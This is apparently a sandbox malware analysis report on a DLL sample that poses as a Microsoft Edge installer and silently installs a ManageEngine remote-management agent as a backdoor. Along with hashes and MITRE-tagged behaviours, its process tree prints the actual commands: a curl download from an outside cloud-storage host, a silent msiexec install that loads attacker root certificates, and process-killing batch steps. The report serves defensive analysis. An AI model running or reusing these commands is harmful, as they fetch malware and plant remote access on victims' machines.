197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f

Analysis

max time kernel
131s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 12:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll
Size 8.7MB
Sample260919-p3qv3afe76
SHA256 197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f
MD5 3e481d8c397f64a32f539f2dd445c8fa
SHA1 213de44967e4485cf49a9fee1d8275dc87e2211e
SHA512 9c65fb56b7148c24ac72eaae8bfd9749340e98d309c144026e5f59bc002900b60536257f4dbbca4f235149e12af3f8c95fa2622ae8fe25758a63a99e93684cc4
SSDEEP 196608:EAIJd0vbTnGuFPRgNqG8MFH6HX+KctbVH404O7NADtV6v+uYE:UJd8WN6HOKc1a67cE
TLSH
T1E396F1223DDC0456D02A2230CE5DE2FCF16FEC603A2606573698FA1ABB71B415B5DB5B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery execution rat

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	3056	curl.exe

DCAgent remote management tool 4 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000d00000001c4f7-35.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c539-257.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c5b8-521.dat	hacktool_dcagent
behavioral2/files/0x000d00000001c51a-690.dat	hacktool_dcagent

Executes dropped EXE 2 IoCs

pid	Process
5048	MicrosoftEdge_X64_152.0.5573.821.exe
5632	dcagentregister.exe

Loads dropped DLL 7 IoCs

pid	Process
5080	MsiExec.exe
5632	dcagentregister.exe
5632	dcagentregister.exe
5632	dcagentregister.exe
5632	dcagentregister.exe
5632	dcagentregister.exe
5632	dcagentregister.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4948	icacls.exe
3852	icacls.exe
3372	icacls.exe
1688	icacls.exe
1848	icacls.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4268	tasklist.exe
1856	tasklist.exe
5264	tasklist.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dclibxml2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\dcagentlibxml2.dll	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4608	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentupgrader_temp.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_alert.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hs_runtime.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Computer.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\waiting_aprvl.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\dc_rds.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log	MsiExec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restart.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcHelper.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\File_upload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win8.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\PortableDetectionSettings.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ChatFrame.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hot_mover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\WebrtcDLL.dll	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\pwd-show.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_fail.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\loader.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\AgentQPPMUpgrader.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archiving_logs-animation.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\azurefs.ps1	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_Inactive.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Restart.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh_inactive.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BinaryInfo.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoMigrator.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt	dcagentregister.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Alert.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\FileTransfer\dcfiletransfer.exe	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\EC_LogAnalyzer.ps1	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_download_all.svg	msiexec.exe
File opened for modification	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\patch.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\SecuritySettings.json	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_software.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\otp-lock.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Reupload.svg	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.png	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif	msiexec.exe
File created	C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\uems_icon.ico	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e5bffc9.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5bffca.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC2A39D1A27FA7EA5.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5bffc9.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5bffca.mst	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI576.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4547879A5140EFF1.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC7C.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4932	cmd.exe
3272	cmd.exe
4848	cmd.exe
4236	cmd.exe
3476	cmd.exe
5876	cmd.exe
828	cmd.exe
1540	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
896	timeout.exe
2848	timeout.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
4716	taskkill.exe
4476	taskkill.exe
1980	taskkill.exe
4112	taskkill.exe

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000e44ca9e93548dd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000b6d4a9e93548dd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	MicrosoftEdge_X64_152.0.5573.821.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe
1496	rundll32.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
812	Process not Found

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	rundll32.exe
Token: SeLoadDriverPrivilege	1496	rundll32.exe
Token: SeTakeOwnershipPrivilege	1496	rundll32.exe
Token: SeIncBasePriorityPrivilege	1496	rundll32.exe
Token: SeTcbPrivilege	1496	rundll32.exe
Token: SeShutdownPrivilege	3984	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3984	msiexec.exe
Token: SeSecurityPrivilege	6036	msiexec.exe
Token: SeCreateTokenPrivilege	3984	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3984	msiexec.exe
Token: SeLockMemoryPrivilege	3984	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3984	msiexec.exe
Token: SeMachineAccountPrivilege	3984	msiexec.exe
Token: SeTcbPrivilege	3984	msiexec.exe
Token: SeSecurityPrivilege	3984	msiexec.exe
Token: SeTakeOwnershipPrivilege	3984	msiexec.exe
Token: SeLoadDriverPrivilege	3984	msiexec.exe
Token: SeSystemProfilePrivilege	3984	msiexec.exe
Token: SeSystemtimePrivilege	3984	msiexec.exe
Token: SeProfSingleProcessPrivilege	3984	msiexec.exe
Token: SeIncBasePriorityPrivilege	3984	msiexec.exe
Token: SeCreatePagefilePrivilege	3984	msiexec.exe
Token: SeCreatePermanentPrivilege	3984	msiexec.exe
Token: SeBackupPrivilege	3984	msiexec.exe
Token: SeRestorePrivilege	3984	msiexec.exe
Token: SeShutdownPrivilege	3984	msiexec.exe
Token: SeDebugPrivilege	3984	msiexec.exe
Token: SeAuditPrivilege	3984	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3984	msiexec.exe
Token: SeChangeNotifyPrivilege	3984	msiexec.exe
Token: SeRemoteShutdownPrivilege	3984	msiexec.exe
Token: SeUndockPrivilege	3984	msiexec.exe
Token: SeSyncAgentPrivilege	3984	msiexec.exe
Token: SeEnableDelegationPrivilege	3984	msiexec.exe
Token: SeManageVolumePrivilege	3984	msiexec.exe
Token: SeImpersonatePrivilege	3984	msiexec.exe
Token: SeCreateGlobalPrivilege	3984	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe
Token: SeRestorePrivilege	6036	msiexec.exe
Token: SeTakeOwnershipPrivilege	6036	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3984	msiexec.exe
6036	msiexec.exe
5080	MsiExec.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 1496	4548	rundll32.exe	90
PID 1496 wrote to memory of 3056	1496	rundll32.exe	93
PID 1496 wrote to memory of 5048	1496	rundll32.exe	95
PID 5048 wrote to memory of 4608	5048	MicrosoftEdge_X64_152.0.5573.821.exe	96
PID 4608 wrote to memory of 3984	4608	WScript.exe	97
PID 6036 wrote to memory of 5080	6036	msiexec.exe	99
PID 6036 wrote to memory of 5632	6036	msiexec.exe	101
PID 5632 wrote to memory of 3272	5632	dcagentregister.exe	102
PID 3272 wrote to memory of 1252	3272	cmd.exe	104

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	11	curl/8.8.0

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.5573.821.exe" "https://hjfkdhfi.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:3056
- - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.5573.821.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.5573.821.exe" /S /norestart
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:5048
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:4608
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3984
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:4716
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\ZqJHgRouWIePshcCtueTrmXwXKNtkctw\S-1-5-21-4154726816-2055034831-2297277433\PucSMogWhjGQVXkbwN.BAT"
    3⤵
    - Executes a command shell one-liner
    PID:4236
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\ZqJHgRouWIePshcCtueTrmXwXKNtkctw\S-1-5-21-4154726816-2055034831-2297277433\PucSMogWhjGQVXkbwN.BAT"
      4⤵
      Executes a command shell one-liner
      PID:3476
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        
        PID:4268
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        
        PID:1792
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:4476
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:1980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\AqWBjAoJUGYlVxOwuYrMBQzmyyfIexVD\S-1-5-21-4154726816-2055034831-2297277433\SrjXAJXwhcllMzwTmR.BAT"
    3⤵
    - Executes a command shell one-liner
    PID:5876
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\AqWBjAoJUGYlVxOwuYrMBQzmyyfIexVD\S-1-5-21-4154726816-2055034831-2297277433\SrjXAJXwhcllMzwTmR.BAT"
      4⤵
      Executes a command shell one-liner
      PID:828
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        
        PID:1856
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        
        PID:2036
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2848
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\MtVAjIRHphPQMaqJQMhumosIJsOtxonL\S-1-5-21-4154726816-2055034831-2297277433\zMfQDZlzTaQmgjBHPB.BAT"
    3⤵
    - Executes a command shell one-liner
    PID:1540
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\MtVAjIRHphPQMaqJQMhumosIJsOtxonL\S-1-5-21-4154726816-2055034831-2297277433\zMfQDZlzTaQmgjBHPB.BAT"
      4⤵
      Executes a command shell one-liner
      PID:4932
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        
        PID:5264
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        
        PID:3588
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3912

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
